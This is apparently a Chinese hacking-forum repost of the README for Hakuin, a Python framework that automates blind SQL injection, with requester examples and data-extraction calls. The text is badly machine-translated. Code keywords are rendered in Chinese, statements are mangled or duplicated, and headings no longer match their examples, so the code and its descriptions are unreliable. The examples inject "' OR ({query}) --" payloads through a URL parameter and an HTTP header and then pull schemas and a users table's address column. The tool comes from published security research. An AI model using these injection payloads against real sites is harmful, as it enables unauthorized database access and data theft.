Hakuin-燃烧的快速盲目SQL注入优化和自动化框架

taibeihacker

Moderator
AVvXsEjAIgrgB5YFHyJlUd_mkaHTT8ryaJO_Rauzdh43dO6eSQk4aUo5-cia_Wj1bJ64IfzXdAxL0dWlCqV31NW0F70DLD9Pm5WYuo4dRgpR2v0-Tw-JanuZJ0p0bCxr1GYsnS4viFq0nL8qJwSx-EJVwmxeznTCk7viYyMp9FskN5c-rTQf5eFooTlYuXv1X552=w353-h400

Hakuin是盲目的SQL注入(BSQL)优化和自动化框架,它在Python 3中编写。它抽象了推理逻辑,并允许用户轻松有效地从弱点的Web应用程序中提取数据库(DB)。为了加快流程的加快,Hakuin采用了各种优化方法,包括预训练和适应性语言模型,机会猜测,并行性等等。
Hakuin曾在尊敬的学术和工业会议上介绍: -Blackhat Mea,Riyadh,2023年- 盒子里的黑客,2023年,IEEE SP SP SP SP SP SP Workshop(Woot),2023年,2023年
更多信息可以在我们的论文和幻灯片中找到。

Installation​

要安装Hakuin,只需运行:
PIP3安装Hakuin开发人员应在本地安装软件包,并为可编辑模式设置-E标志:
git克隆[emailProtected] :pruzko/hakuin.git
CD Hakuin
PIP3安装-e。

Examples​

确定BSQL漏洞后,您需要告诉Hakuin如何注入其查询。为此,请从请求者中得出一个类,然后覆盖请求方法。同样,该方法必须确定查询是否已解决为true或false。

Example 1 - Query Parameter Injection with Status-based Inference​

导入AIOHTTP
来自Hakuin进口请求者
班级现状Requester(请求者):
异步def请求(self,ctx,查询):
r=等待aiohttp.get(f'http://vuln.com/?n=xxx'或({query}) - ')
返回r.status==200

Example 2 - Header Injection with Content-based Inference​

类ContentRequester(请求者):
异步def请求(self,ctx,查询):
headers={'viles-header': f'xxx'或({query}) - '}
r=等待aiohttp.get(f'http://vuln.com/',headers=标题)
在等待r.text()中返回“找到”以开始提取数据,使用提取器类。它需要一个DBMS对象来构建查询和一个请求者对象才能注入它们。 Hakuin当前支持SQLITE,MySQL,PSQL(PostgreSQL)和MSSQL(SQL Server)DBMSS,但很快将包含更多选项。如果您希望支持另一个DBM,请在Hakuin/dbms/dbms.py中实现DBMS接口。

Example 1 - Extracting SQLite/MySQL/PSQL/MSSQL​

进口Asyncio
来自Hakuin进口提取器,请求者
来自hakuin.dbms import sqlite,mysql,psql,mssql
班级现状Requester(请求者):
.
异步def main():
#requester:使用此请求者
#DBMS:使用此DBMS
#N_TASKS:产生n任务,这些任务并行提取列行
ext=extractor(requester=statusrequester(),dbms=sqlite(),n_tasks=1)
.
如果__name__=='__ -Main __':
asyncio.get_event_loop()。run_until_complete(main())现在设置了所有内容,您可以开始提取DB元数据。

Example 1 - Extracting DB Schemas​

#策略:
#'Binary':使用二进制搜索
#'Model':使用预训练的模型
schema_names=等待ext.extract_schema_names(策略='模型')

Example 2 - Extracting Tables​

表=等待ext.extract.extract_tract_table_names(策略='模型')

Example 3 - Extracting Columns​

列=等待ext.ext.ext._column_names(ext._column_names) ext.extract_meta(stragity='模型')一旦知道结构,就可以提取实际内容。

Example 4 - Extracting Tables and Columns Together​

#text_strategy:如果列是文本,请使用此策略
res=等待ext.extract_column(table='用户',column='address',text_strategy='dynamic')

Example 1 - Extracting Generic Columns​

#strategy:
#'Binary':使用二进制搜索
#“五克” :使用五克模型
#'umigram':使用Umigram模型
#'Dynamic':动态确定最佳策略。此设置
#还可以使机会主义猜测。
res=等待ext.extract_column_text(table='用户',列='地址',策略='dynamic')

Example 2 - Extracting Textual Columns​

res res=等待ext.extract.extract_column_int(table='用户',列='id' res=等待ext.extract_column_blob(table='用户',column='id')可以在测试目录中找到更多示例。

Example 3 - Extracting Integer Columns​

Hakuin配备了一个简单的包装工具HK.PY,它使您可以直接从命令行中使用Hakuin的基本功能。要了解更多,Run:
Python3 HK.PY -H

Example 4 - Extracting Float Columns​

该存储库是为满足安全实践者需求而积极开发的。希望重现我们论文中描述的实验的研究人员应安装冷冻版本,因为它包含原始代码,实验脚本和用于复制结果的说明手册。

Example 5 - Extracting Blob (Binary Data) Columns​

@inproceedings {hakuin_bsqli,
title={hakuin:用概率语言模型优化盲sql注入},
作者={pru {\ v {z}} inec,jakub和nguyen,quynh anh},
BookTitle={2023 IEEE安全和隐私研讨会(SPW)},
页={384--393},
年={2023},
组织={IEEE}
}
 
返回
上方